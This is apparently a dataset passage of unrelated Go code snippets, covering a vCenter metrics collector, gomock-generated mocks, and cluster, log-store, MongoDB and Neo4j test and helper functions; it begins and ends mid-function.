{\n\t\treqProps[objType] = []string{\"name\"}\n\t\tif objType == \"VirtualMachine\" || objType == \"HostSystem\" {\n\t\t\treqProps[objType] = append(reqProps[objType], \"runtime.connectionState\")\n\t\t\treqProps[objType] = append(reqProps[objType], \"runtime.powerState\")\n\t\t}\n\t}\n\t//complete with required properties\n\tfor _, property := range properties {\n\t\tif typeProperties, ok := Properties[property]; ok {\n\t\t\tfor objType, typeProperties := range typeProperties {\n\t\t\t\tfor _, typeProperty := range typeProperties {\n\t\t\t\t\tfound := false\n\t\t\t\t\tfor _, prop := range reqProps[objType] {\n\t\t\t\t\t\tif prop == typeProperty {\n\t\t\t\t\t\t\tfound = true\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif !found {\n\t\t\t\t\t\treqProperties := append(reqProps[objType], typeProperty)\n\t\t\t\t\t\treqProps[objType] = reqProperties\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tpropSet := []types.PropertySpec{}\n\tfor objType, props := range reqProps {\n\t\tpropSet = append(propSet, types.PropertySpec{Type: objType, PathSet: props})\n\t}\n\n\t//retrieve properties\n\tpropreq := types.RetrieveProperties{SpecSet: []types.PropertyFilterSpec{{ObjectSet: objectSet, PropSet: propSet}}}\n\tpropres, err := client.PropertyCollector().RetrieveProperties(ctx, propreq)\n\tif err != nil {\n\t\tlog.Printf(\"vcenter %s: could not retrieve object names - %s\\n\", vcName, err)\n\t\treturn\n\t}\n\n\t// fill in the sections from queried data\n\trefs := make([]string, len(propres.Returnval))\n\tfor _, objectContent := range propres.Returnval {\n\t\trefs = append(refs, objectContent.Obj.Value)\n\t\tfor _, Property := range objectContent.PropSet {\n\t\t\tif section, ok := PropertiesSections[Property.Name]; ok {\n\t\t\t\tcache.Add(vcName, section, objectContent.Obj.Value, Property.Val)\n\t\t\t} else {\n\t\t\t\tlog.Printf(\"vcenter %s: unhandled property '%s' for %s whose type is '%T'\\n\", vcName, Property.Name, objectContent.Obj.Value, Property.Val)\n\t\t\t}\n\t\t}\n\t}\n\n\t// cleanup buffer\n\tcache.CleanAll(vcName, refs)\n\n\t// create a map to resolve metric names\n\tmetricKeys := []string{}\n\tfor _, metricgroup := range vcenter.MetricGroups {\n\t\tfor _, metricdef := range metricgroup.Metrics {\n\t\t\ti := utils.ValToString(metricdef.Key, \"\", true)\n\t\t\tcache.Add(vcName, \"metrics\", i, metricdef.Metric)\n\t\t\tmetricKeys = append(metricKeys, i)\n\t\t}\n\t}\n\t// empty metric to names\n\tcache.Clean(vcName, \"metrics\", metricKeys)\n\n\t//create a map to resolve vm to their ressourcepool\n\tpoolvms := []string{}\n\tfor mor, vmmors := range *cache.LookupMorefs(vcName, \"vms\") {\n\t\t// only parse resource pools\n\t\tif strings.HasPrefix(mor, \"rp-\") {\n\t\t\t// find the full path of the resource pool\n\t\t\tpoolmor := mor\n\t\t\tpools := []string{}\n\t\t\tfor {\n\t\t\t\tpoolname := cache.GetString(vcName, \"names\", poolmor)\n\t\t\t\tif len(*poolname) == 0 {\n\t\t\t\t\t// could not find name\n\t\t\t\t\tlog.Printf(\"vcenter %s: could not find name for resourcepool %s\\n\", vcName, poolmor)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tif *poolname == \"Resources\" {\n\t\t\t\t\t// ignore root resourcepool\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\t// add the name to the path\n\t\t\t\tpools = append(pools, *poolname)\n\t\t\t\tnewmor := cache.GetString(vcName, \"parents\", poolmor)\n\t\t\t\tif len(*newmor) == 0 {\n\t\t\t\t\t// no parent pool found\n\t\t\t\t\tlog.Printf(\"vcenter %s: could not find parent for resourcepool %s\\n\", vcName, *poolname)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tpoolmor = *newmor\n\t\t\t\tif !strings.HasPrefix(poolmor, \"rp-\") {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tutils.Reverse(pools)\n\t\t\tpoolpath := strings.Join(pools, \"/\")\n\t\t\tfor _, vmmor := range *vmmors {\n\t\t\t\tif vmmor.Type == \"VirtualMachine\" {\n\t\t\t\t\tpoolvms = append(poolvms, vmmor.Value)\n\t\t\t\t\t// Check if value already correct\n\t\t\t\t\tcurpath := cache.GetString(vcName, \"poolpaths\", vmmor.Value)\n\t\t\t\t\tif curpath != nil {\n\t\t\t\t\t\tif poolpath == *curpath {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t// assign it\n\t\t\t\t\tcache.Add(vcName, \"poolpaths\", vmmor.Value, poolpath)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t// cleanup poolpaths\n\tcache.Clean(vcName, \"poolpaths\", poolvms)\n\n\t// create a map to resolve datastore ids to their names\n\tdatastoreids := []string{}\n\tfor mor, dsurl := range *cache.LookupString(vcName, \"urls\") {\n\t\t// find the datastore id\n\t\tregex := regexp.MustCompile(\"/([A-Fa-f0-9-]+)/$\")\n\t\tmatches := regex.FindAllString(*dsurl, 1)\n\t\tdatastoreid := \"\"\n\t\tif len(matches) == 1 {\n\t\t\tdatastoreid = strings.Trim(matches[0], \"/\")\n\t\t}\n\t\t// if an id is found, search for the name\n\t\tname := cache.GetString(vcName, \"names\", mor)\n\t\tif name != nil {\n\t\t\t// add the value to the index of ids\n\t\t\tdatastoreids = append(datastoreids, datastoreid)\n\t\t\t// add the value to the cache\n\t\t\tcache.Add(vcName, \"datastoreids\", datastoreid, *name)\n\t\t}\n\t}\n\tcache.Clean(vcName, \"datastoreids\", datastoreids)\n\n\tcache.Purge(vcName, \"folders\")\n\n\t// Create Queries from interesting objects and requested metrics\n\tqueries := []types.PerfQuerySpec{}\n\n\t// Common parameters\n\tintervalID := int32(20)\n\tendTime := time.Now().Add(time.Duration(-1) * time.Second)\n\tstartTime := endTime.Add(time.Duration(-interval-1) * time.Second)\n\n\t// Parse objects\n\tskipped := 0\n\ttotalvms := 0\n\ttotalhosts := 0\n\tfor _, mor := range mors {\n\t\t// check connection state\n\t\tconnectionState := cache.GetConnectionState(vcName, \"connections\", mor.Value)\n\t\tif connectionState != nil {\n\t\t\tif *connectionState != \"connected\" {\n\t\t\t\tskipped++\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\t// check power state\n\t\tpowerState := cache.GetPowerState(vcName, \"powers\", mor.Value)\n\t\tif powerState != nil {\n\t\t\tif *powerState != \"poweredOn\" {\n\t\t\t\tskipped++\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tswitch mor.Type {\n\t\tcase \"HostSystem\":\n\t\t\ttotalhosts++\n\t\tcase \"VirtualMachine\":\n\t\t\ttotalvms++\n\t\t}\n\t\tmetricIds := []types.PerfMetricId{}\n\t\tfor _, metricgroup := range vcenter.MetricGroups {\n\t\t\tif metricgroup.ObjectType == mor.Type {\n\t\t\t\tfor _, metricdef := range metricgroup.Metrics {\n\t\t\t\t\tmetricIds = append(metricIds, types.PerfMetricId{CounterId: metricdef.Key, Instance: metricdef.Instances})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif len(metricIds) > 0 {\n\t\t\tqueries = append(queries, types.PerfQuerySpec{Entity: mor, StartTime: &startTime, EndTime: &endTime, MetricId: metricIds, IntervalId: intervalID})\n\t\t}\n\t}\n\n\t// log skipped objects\n\tlog.Printf(\"vcenter %s: skipped %d objects because they are either not connected or not powered on\", vcName, skipped)\n\t// log total object referenced\n\tlog.Printf(\"vcenter %s: %d objects (%d vm and %d hosts)\", vcName, totalhosts+totalvms, totalvms, totalhosts)\n\t// Check that there is something to query\n\tquerycount := len(queries)\n\tif querycount == 0 {\n\t\tlog.Printf(\"vcenter %s: no queries created!\", vcName)\n\t\treturn\n\t}\n\tmetriccount := 0\n\tfor _, query := range queries {\n\t\tmetriccount = metriccount + len(query.MetricId)\n\t}\n\n\texpCounters := math.Ceil(float64(metriccount) * instanceRatio)\n\tlog.Printf(\"vcenter %s: queries generated\", vcName)\n\tlog.Printf(\"vcenter %s: %d queries\\n\", vcName, querycount)\n\tlog.Printf(\"vcenter %s: %d total metricIds\\n\", vcName, metriccount)\n\tlog.Printf(\"vcenter %s: %g total counter (accounting for %g instances ratio)\\n\", vcName, expCounters, instanceRatio)\n\n\t// separate in batches of queries if to avoid 500000 returned perf limit\n\tbatches := math.Ceil(expCounters / float64(resultLimit))\n\tbatchqueries := make([]*types.QueryPerf, int(batches))\n\tquerieslen := len(queries)\n\tbatchsize := int(math.Ceil(float64(querieslen) / batches))\n\tbatchnum := 0\n\tfor i := 0; i < querieslen; i += batchsize {\n\t\tend := i + batchsize\n\t\tif end > querieslen {\n\t\t\tend = querieslen\n\t\t}\n\t\tbatchqueries[batchnum] = &types.QueryPerf{This: *client.ServiceContent.PerfManager, QuerySpec: queries[i:end]}\n\t\tlog.Printf(\"vcenter %s: created batch %d from queries %d - %d\", vcName, batchnum, i+1, end)\n\t\tbatchnum++\n\t}\n\tlog.Printf(\"vcenter %s: %d threads generated to execute queries\", vcName, len(batchqueries))\n\tfor i, query := range batchqueries {\n\t\tlog.Printf(\"vcenter %s: thread %d requests %d metrics\", vcName, i+1, len(query.QuerySpec))\n\t}\n\n\t// make each queries in separate functions\n\t// use a wait group to avoid exiting if all threads are not finished\n\n\t// create the wait group and declare the amount of threads\n\tvar querieswaitgroup sync.WaitGroup\n\tquerieswaitgroup.Add(len(batchqueries))\n\n\t// execute the threads\n\tfor i, query := range batchqueries {\n\t\tgo ExecuteQueries(ctx, i+1, client.RoundTripper, &cache, query, endTime.Unix(), replacepoint, domain, vcName, channel, &querieswaitgroup)\n\t}\n\n\t//wait fot the waitgroup\n\tquerieswaitgroup.Wait()\n\n}", "func TestClusterEmpty(t *testing.T) {\n\tif testing.Short() {\n\t\tt.Skip(\"skipping cluster test in short mode.\")\n\t}\n\tt.Parallel()\n\n\ttc := newTestCluster(t)\n\tdefer tc.tearDown()\n\n\ttc.addSequinses(3)\n\ttc.makeVersionAvailable(v3)\n\ttc.expectProgression(down, noVersion, v3)\n\n\ttc.setup()\n\ttc.startTest()\n\ttc.assertProgression()\n}", "func (m *MockGateway) Clustered() bool {\n\tret := m.ctrl.Call(m, \"Clustered\")\n\tret0, _ := ret[0].(bool)\n\treturn ret0\n}", "func TestGetQueryWhenLogStoreNotReady(t *testing.T) {\n\t// set up test server and mocked LogStore\n\tmockLogStore := new(MockedLogStore)\n\tserver := newTestServer(mockLogStore)\n\ttestServer := httptest.NewServer(server.server.Handler)\n\tdefer testServer.Close()\n\tclient := testServer.Client()\n\n\t//\n\t// set up mock expectations\n\t//\n\n\tmockLogStore.On(\"Ready\").Return(false, fmt.Errorf(\"connection refused\"))\n\n\t//\n\t// make call\n\t//\n\tqueryURL, _ := url.Parse(testServer.URL + \"/query\")\n\tqueryParams := queryURL.Query()\n\tqueryParams.Set(\"namespace\", \"default\")\n\tqueryParams.Set(\"pod_name\", \"nginx-deploymeny-abcde\")\n\tqueryParams.Set(\"container_name\", \"nginx\")\n\tqueryParams.Set(\"start_time\", \"2018-01-01T12:00:00.000Z\")\n\tqueryParams.Set(\"end_time\", \"2018-01-01T13:00:00.000Z\")\n\tqueryURL.RawQuery = queryParams.Encode()\n\n\tresp, _ := client.Get(queryURL.String())\n\t// should return 503 (Service Unavailable)\n\tassert.Equalf(t, http.StatusServiceUnavailable, resp.StatusCode, \"unexpected response code\")\n\tassert.Equalf(t, `{\"message\":\"data store is not ready\",\"detail\":\"connection refused\"}`, readBody(t, resp), \"unexpected response\")\n\n\t// verify that expected calls were made\n\tmockLogStore.AssertExpectations(t)\n}", "func (m *MockRdbClient) UpdateCluster(arg0 context.Context, arg1 *v1alpha.UpdateClusterRequest, arg2 ...grpc.CallOption) (*v1alpha.Cluster, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"UpdateCluster\", varargs...)\n\tret0, _ := ret[0].(*v1alpha.Cluster)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func TestSyncClusterCreateMachineSets(t *testing.T) {\n\tcases := []struct {\n\t\tname string\n\t\texistingMaster bool\n\t\texistingComputes []string\n\t\tnewComputes []string\n\t}{\n\t\t{\n\t\t\tname: \"master\",\n\t\t\texistingMaster: false,\n\t\t},\n\t\t{\n\t\t\tname: \"single compute\",\n\t\t\texistingMaster: true,\n\t\t\tnewComputes: []string{\"compute1\"},\n\t\t},\n\t\t{\n\t\t\tname: \"multiple computes\",\n\t\t\texistingMaster: true,\n\t\t\tnewComputes: []string{\"compute1\", \"compute2\"},\n\t\t},\n\t\t{\n\t\t\tname: \"master and computes\",\n\t\t\texistingMaster: false,\n\t\t\tnewComputes: []string{\"compute1\", \"compute2\"},\n\t\t},\n\t\t{\n\t\t\tname: \"master with existing computes\",\n\t\t\texistingMaster: false,\n\t\t\texistingComputes: []string{\"compute1\", \"compute2\"},\n\t\t},\n\t\t{\n\t\t\tname: \"additional computes\",\n\t\t\texistingMaster: true,\n\t\t\texistingComputes: []string{\"compute1\", \"compute2\"},\n\t\t\tnewComputes: []string{\"compute3\"},\n\t\t},\n\t}\n\tfor _, tc := range cases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tcontroller, clusterStore, machineSetStore, _, clusterOperatorClient := newTestClusterController()\n\n\t\t\tcluster := newCluster(append(tc.existingComputes, tc.newComputes...)...)\n\t\t\tcluster.Status.MachineSetCount = len(tc.existingComputes) + 1\n\t\t\tif !tc.existingMaster {\n\t\t\t\tcluster.Status.MachineSetCount--\n\t\t\t}\n\t\t\tclusterStore.Add(cluster)\n\t\t\tnewMachineSets(machineSetStore, cluster, tc.existingMaster, tc.existingComputes...)\n\n\t\t\tcontroller.syncCluster(getKey(cluster, t))\n\n\t\t\texpectedActions := []expectedClientAction{}\n\t\t\tif !tc.existingMaster {\n\t\t\t\texpectedActions = append(expectedActions, newExpectedMachineSetCreateAction(cluster, \"master\"))\n\t\t\t}\n\t\t\tfor _, newCompute := range tc.newComputes {\n\t\t\t\texpectedActions = append(expectedActions, newExpectedMachineSetCreateAction(cluster, newCompute))\n\t\t\t}\n\n\t\t\tvalidateClientActions(t, \"TestSyncClusterCreateMachineSets.\"+tc.name, clusterOperatorClient, expectedActions...)\n\n\t\t\tvalidateControllerExpectations(t, \"TestSyncClusterCreateMachineSets.\"+tc.name, controller, cluster, len(expectedActions), 0)\n\t\t})\n\t}\n}", "func runCommandOnAllServers(commandFn func(client *mongo.Client) error) error {\n\topts := options.Client().ApplyURI(mtest.ClusterURI())\n\tintegtest.AddTestServerAPIVersion(opts)\n\n\tif mtest.ClusterTopologyKind() != mtest.Sharded {\n\t\tclient, err := mongo.Connect(context.Background(), opts)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error creating replica set client: %v\", err)\n\t\t}\n\t\tdefer func() { _ = client.Disconnect(context.Background()) }()\n\n\t\treturn commandFn(client)\n\t}\n\n\tfor _, host := range opts.Hosts {\n\t\tshardClient, err := mongo.Connect(context.Background(), opts.SetHosts([]string{host}))\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error creating client for mongos %v: %v\", host, err)\n\t\t}\n\n\t\terr = commandFn(shardClient)\n\t\t_ = shardClient.Disconnect(context.Background())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "func TestGetQuery(t *testing.T) {\n\t// set up test server and mocked LogStore\n\tmockLogStore := new(MockedLogStore)\n\tserver := newTestServer(mockLogStore)\n\ttestServer := httptest.NewServer(server.server.Handler)\n\tdefer testServer.Close()\n\tclient := testServer.Client()\n\n\t// query to ask\n\tstartTime := MustParse(\"2018-01-01T12:00:00.000Z\")\n\tendTime := MustParse(\"2018-01-01T13:00:00.000Z\")\n\tquery := logstore.Query{\n\t\tNamespace: \"default\",\n\t\tPodName: \"nginx-deployment-abcde\",\n\t\tContainerName: \"nginx\",\n\t\tStartTime: startTime,\n\t\tEndTime: endTime,\n\t}\n\n\t//\n\t// set up mock expectations\n\t//\n\n\t// will respond with this query result\n\tlogStoreResult := logstore.QueryResult{\n\t\tLogRows: []logstore.LogRow{\n\t\t\t{\n\t\t\t\tTime: startTime,\n\t\t\t\tLog: \"event 1\",\n\t\t\t},\n\t\t},\n\t}\n\n\tmockLogStore.On(\"Ready\").Return(true, nil)\n\tmockLogStore.On(\"Query\", &query).Return(&logStoreResult, nil)\n\n\t//\n\t// make call\n\t//\n\tqueryURL, _ := url.Parse(testServer.URL + \"/query\")\n\tqueryParams := queryURL.Query()\n\tqueryParams.Set(\"namespace\", query.Namespace)\n\tqueryParams.Set(\"pod_name\", query.PodName)\n\tqueryParams.Set(\"container_name\", query.ContainerName)\n\tqueryParams.Set(\"start_time\", \"2018-01-01T12:00:00.000Z\")\n\tqueryParams.Set(\"end_time\", \"2018-01-01T13:00:00.000Z\")\n\tqueryURL.RawQuery = queryParams.Encode()\n\n\tresp, _ := client.Get(queryURL.String())\n\t// should return 200\n\tassert.Equalf(t, http.StatusOK, resp.StatusCode, \"unexpected response code\")\n\tassert.Equalf(t, []string{\"application/json\"}, resp.Header[\"Content-Type\"], \"unexpected Content-Type\")\n\tvar clientResult logstore.QueryResult\n\tjson.Unmarshal([]byte(readBody(t, resp)), &clientResult)\n\tassert.Equalf(t, logStoreResult, clientResult, \"unexpected query response\")\n\n\t// verify that expected calls were made\n\tmockLogStore.AssertExpectations(t)\n}", "func TestSimulateCluster(t *testing.T) {\n\trnd := rand.New(rand.NewSource(0))\n\n\tvar (\n\t\tnumNodes = 10_000\n\t)\n\n\tnodes, states := createTestCluster(t, rnd, numNodes)\n\n\t// Assert that the set of leaves of each node is correct.\n\tt.Run(\"leaves\", func(t *testing.T) {\n\t\tfor i, n := range nodes {\n\t\t\tfor p := len(n.Predecessors.Descriptors) - 1; p >= 0; p-- {\n\t\t\t\tactual := n.Predecessors.Descriptors[p]\n\n\t\t\t\t// Wraparound\n\t\t\t\texpectIdx := i - (len(n.Predecessors.Descriptors) - p)\n\t\t\t\tif expectIdx < 0 {\n\t\t\t\t\texpectIdx = len(nodes) - (-expectIdx)\n\t\t\t\t}\n\t\t\t\texpect := nodes[expectIdx].Node\n\n\t\t\t\trequire.Equal(t, expect, actual,\n\t\t\t\t\t\"node %s (index=%d) has wrong predecessors. expected predecessor %d to be %s, founud %s\",\n\t\t\t\t\tn.Node.ID.Digits(32, 8),\n\t\t\t\t\ti,\n\t\t\t\t\tp,\n\t\t\t\t\texpect.ID.Digits(32, 8),\n\t\t\t\t\tactual.ID.Digits(32, 8),\n\t\t\t\t)\n\t\t\t}\n\n\t\t\tfor s := 0; s < len(n.Successors.Descriptors); s++ {\n\t\t\t\tactual := n.Successors.Descriptors[s]\n\n\t\t\t\t// Wraparound\n\t\t\t\texpectIdx := i + s + 1\n\t\t\t\tif expectIdx >= len(nodes) {\n\t\t\t\t\texpectIdx = expectIdx - len(nodes)\n\t\t\t\t}\n\t\t\t\texpect := nodes[expectIdx].Node\n\n\t\t\t\trequire.Equal(t, expect, actual,\n\t\t\t\t\t\"node %s (index=%d) has wrong successors. expected successor %d to be %s, found %s\",\n\t\t\t\t\tn.Node.ID.Digits(32, 8),\n\t\t\t\t\ti,\n\t\t\t\t\ts,\n\t\t\t\t\texpect.ID.Digits(32, 8),\n\t\t\t\t\tactual.ID.Digits(32, 8),\n\t\t\t\t)\n\t\t\t}\n\t\t}\n\t})\n\n\t// Test routing keys and ensure that their final destination is the correct node.\n\tt.Run(\"routing\", func(t *testing.T) {\n\t\tvar numKeys = 1_000_000\n\n\t\tfor i := 0; i < numKeys; i++ {\n\t\t\tkey := id.ID{Low: uint64(rnd.Uint32())}\n\n\t\t\t// Pick a random node to start the request from\n\t\t\tseed := nodes[rnd.Intn(len(nodes))]\n\t\t\tdest := fakeRoute(t, seed, key, states)\n\n\t\t\t// Find the ~10 nodes closest to our key to make sure none of them are\n\t\t\t// closer. This lets us do a ton of lookups very quickly even though\n\t\t\t// it looks funky.\n\t\t\tclosest := sort.Search(len(nodes), func(i int) bool {\n\t\t\t\treturn id.Compare(nodes[i].Node.ID, key) >= 0\n\t\t\t})\n\t\t\tstart := closest - 5\n\t\t\tend := closest + 5\n\t\t\tif start < 0 {\n\t\t\t\tstart = 0\n\t\t\t}\n\t\t\tif end >= len(nodes) {\n\t\t\t\tend = len(nodes) - 1\n\t\t\t}\n\n\t\t\tdist := idDistance(dest.ID, key, id.MaxForSize(32))\n\t\t\tfor _, s := range nodes[start:end] {\n\t\t\t\taltDist := idDistance(s.Node.ID, key, id.MaxForSize(32))\n\t\t\t\tif id.Compare(altDist, dist) < 0 {\n\t\t\t\t\trequire.Fail(t, \"found routing to wrong node\", \"got distance %s but found closer distance %s\", dist, altDist)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t})\n\n}", "func getClusterInfo(driver *neo4j.Driver, host string) (ClusterInfo, error) {\n\tsession := (*driver).NewSession(neo4j.SessionConfig{\n\t\tDatabaseName: \"system\",\n\t})\n\tdefer session.Close()\n\n\t// Inline TX function here for building the ClusterInfo on the fly\n\tresult, err := session.ReadTransaction(func(tx neo4j.Transaction) (interface{}, error) {\n\t\tinfo := ClusterInfo{CreatedAt: time.Now()}\n\t\tresult, err := tx.Run(\"SHOW DATABASES\", nil)\n\t\tif err != nil {\n\t\t\treturn info, err\n\t\t}\n\t\trows, err := result.Collect()\n\t\tif err != nil {\n\t\t\treturn info, err\n\t\t}\n\n\t\tfor _, row := range rows {\n\t\t\tval, found := row.Get(\"default\")\n\t\t\tif !found {\n\t\t\t\treturn info, errors.New(\"missing 'default' field\")\n\t\t\t}\n\t\t\tdefaultDb, ok := val.(bool)\n\t\t\tif !ok {\n\t\t\t\treturn info, errors.New(\"default field isn't a boolean\")\n\t\t\t}\n\t\t\tif defaultDb {\n\t\t\t\tval, found = row.Get(\"name\")\n\t\t\t\tif !found {\n\t\t\t\t\treturn info, errors.New(\"missing 'name' field\")\n\t\t\t\t}\n\t\t\t\tname, ok := val.(string)\n\t\t\t\tif !ok {\n\t\t\t\t\treturn info, errors.New(\"name field isn't a string\")\n\t\t\t\t}\n\t\t\t\tinfo.DefaultDb = name\n\t\t\t}\n\t\t}\n\n\t\treturn info, nil\n\t})\n\tif err != nil {\n\t\treturn ClusterInfo{}, err\n\t}\n\n\tinfo, ok := result.(ClusterInfo)\n\tif !ok {\n\t\tpanic(\"result isn't a ClusterInfo struct\")\n\t}\n\n\t// For now get details for System db...\n\trt, err := getRoutingTable(driver, \"system\", host)\n\tif err != nil {\n\t\treturn info, err\n\t}\n\thosts := map[string]bool{}\n\tfor _, host := range append(rt.Readers, rt.Writers...) {\n\t\thosts[host] = true\n\t}\n\tfor host := range hosts {\n\t\tinfo.Hosts = append(info.Hosts, host)\n\t}\n\treturn info, nil\n}", "func (m *MockEKSServiceInterface) ListClusters(input *eks.ListClustersInput) (*eks.ListClustersOutput, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ListClusters\", input)\n\tret0, _ := ret[0].(*eks.ListClustersOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func TestSuccessfulMultiQuery(t *testing.T) {\n\tlocations, err := metaweather.QueryLocations(\"san\")\n\tif err != nil {\n\t\tt.Fatalf(\"query returned error: %v\", err)\n\t}\n\tif !(len(locations) > 1) {\n\t\tt.Fatalf(\"number of query results is %d\", len(locations))\n\t}\n\tfor i, loc := range locations {\n\t\tif !strings.Contains(strings.ToLower(loc.Title), \"san\") {\n\t\t\tt.Fatalf(\"query result %d contains no 'san': %v\", i, loc)\n\t\t}\n\t}\n}", "func TestTwoApiServerCluster(t *testing.T) {\n\tserviceGroup1Id := \"1\"\n\tserviceGroup2Id := \"2\"\n\tmasterCount := 3\n\n\tt.Log(\"1. set up api server 1 with serviceGroup1Id\")\n\tprefix, configFilename1 := createSingleApiServerPartitionFile(t, \"A\", \"m\")\n\tdefer deleteSinglePartitionConfigFile(t, configFilename1)\n\n\tmasterConfig1 := framework.NewIntegrationServerWithPartitionConfig(prefix, configFilename1, masterAddr1, serviceGroup1Id)\n\tmasterConfig1.ExtraConfig.MasterCount = masterCount\n\t_, _, closeFn1 := framework.RunAMaster(masterConfig1)\n\n\tt.Log(\"2. set up api server 2 with serviceGroup2Id\")\n\tmasterConfig2 := framework.NewIntegrationServerWithPartitionConfig(prefix, configFilename1, masterAddr2, serviceGroup2Id)\n\tmasterConfig2.ExtraConfig.MasterCount = masterCount\n\t_, _, closeFn2 := framework.RunAMaster(masterConfig2)\n\tdefer closeFn2()\n\n\tt.Log(\"3. set up api server 3 with serviceGroup1Id\")\n\tmasterAddr3 := \"172.10.10.1\"\n\tmasterConfig3 := framework.NewIntegrationServerWithPartitionConfig(prefix, configFilename1, masterAddr3, serviceGroup1Id)\n\tmasterConfig3.ExtraConfig.MasterCount = masterCount\n\t_, _, closeFn3 := framework.RunAMaster(masterConfig3)\n\n\tt.Log(\"4. set up api server 4 with serviceGroup2Id\")\n\tmasterAddr4 := \"100.1.1.10\"\n\tmasterConfig4 := framework.NewIntegrationServerWithPartitionConfig(prefix, configFilename1, masterAddr4, serviceGroup2Id)\n\tmasterConfig4.ExtraConfig.MasterCount = masterCount\n\t_, _, closeFn4 := framework.RunAMaster(masterConfig4)\n\tdefer closeFn4()\n\n\tt.Log(\"5. set up api server with serviceGroup2Id\")\n\tmasterAddr5 := \"100.1.1.9\"\n\tmasterConfig5 := framework.NewIntegrationServerWithPartitionConfig(prefix, configFilename1, masterAddr5, serviceGroup2Id)\n\tmasterConfig5.ExtraConfig.MasterCount = masterCount\n\t_, _, closeFn5 := framework.RunAMaster(masterConfig5)\n\n\ttime.Sleep(5 * time.Second)\n\n\tt.Log(\"5.1 check master lease in storage\")\n\tendpointClient := clientv1core.NewForConfigOrDie(masterConfig1.GenericConfig.LoopbackClientConfig)\n\te, err := endpointClient.Endpoints(v1.NamespaceDefault).Get(kubernetesServiceName, metav1.GetOptions{})\n\tassert.Nil(t, err)\n\tassert.NotNil(t, e)\n\tt.Logf(\"endpoints [%+v]\", e.Subsets)\n\tassert.Equal(t, 2, len(e.Subsets))\n\tassert.Equal(t, serviceGroup1Id, e.Subsets[0].ServiceGroupId)\n\tassert.Equal(t, serviceGroup2Id, e.Subsets[1].ServiceGroupId)\n\n\tassert.Equal(t, 2, len(e.Subsets[0].Addresses))\n\tassert.Equal(t, masterAddr3, e.Subsets[0].Addresses[0].IP)\n\tassert.Equal(t, masterAddr1, e.Subsets[0].Addresses[1].IP)\n\n\tassert.Equal(t, 3, len(e.Subsets[1].Addresses))\n\tassert.Equal(t, masterAddr4, e.Subsets[1].Addresses[0].IP)\n\tassert.Equal(t, masterAddr5, e.Subsets[1].Addresses[1].IP)\n\tassert.Equal(t, masterAddr2, e.Subsets[1].Addresses[2].IP)\n\n\tt.Logf(\"6. master 5 died\")\n\tcloseFn5()\n\n\t// master lease expires in 10 seconds\n\ttime.Sleep(11 * time.Second)\n\n\te, err = endpointClient.Endpoints(v1.NamespaceDefault).Get(kubernetesServiceName, metav1.GetOptions{})\n\tassert.Nil(t, err)\n\tassert.NotNil(t, e)\n\tassert.Equal(t, 2, len(e.Subsets))\n\tassert.Equal(t, serviceGroup1Id, e.Subsets[0].ServiceGroupId)\n\tassert.Equal(t, serviceGroup2Id, e.Subsets[1].ServiceGroupId)\n\n\tassert.Equal(t, 2, len(e.Subsets[0].Addresses))\n\tassert.Equal(t, masterAddr3, e.Subsets[0].Addresses[0].IP)\n\tassert.Equal(t, masterAddr1, e.Subsets[0].Addresses[1].IP)\n\n\tassert.Equal(t, 2, len(e.Subsets[1].Addresses))\n\tassert.Equal(t, masterAddr4, e.Subsets[1].Addresses[0].IP)\n\tassert.Equal(t, masterAddr2, e.Subsets[1].Addresses[1].IP)\n\n\tt.Log(\"7. master 1 and 3 died - simulate all server in one service group died\")\n\tcloseFn1()\n\tcloseFn3()\n\ttime.Sleep(11 * time.Second)\n\te, err = endpointClient.Endpoints(v1.NamespaceDefault).Get(kubernetesServiceName, metav1.GetOptions{})\n\tassert.Nil(t, err)\n\tassert.NotNil(t, e)\n\tassert.Equal(t, 1, len(e.Subsets))\n\tassert.Equal(t, serviceGroup2Id, e.Subsets[0].ServiceGroupId)\n\n\tassert.Equal(t, 2, len(e.Subsets[0].Addresses))\n\tassert.Equal(t, masterAddr4, e.Subsets[0].Addresses[0].IP)\n\tassert.Equal(t, masterAddr2, e.Subsets[0].Addresses[1].IP)\n}", "func (m *MockHealthCheck) WaitForAllServingTablets(arg0 context.Context, arg1 []*query.Target) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"WaitForAllServingTablets\", arg0, arg1)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockFlag) FindAll(arg0 context.Context, arg1 *string, arg2, arg3 *int64) (*flaggio.FlagResults, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"FindAll\", arg0, arg1, arg2, arg3)\n\tret0, _ := ret[0].(*flaggio.FlagResults)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockDBHandler) Query(query string, args ...interface{}) (interfaces.DBRow, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{query}\n\tfor _, a := range args {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Query\", varargs...)\n\tret0, _ := ret[0].(interfaces.DBRow)\n\tret1, _ := 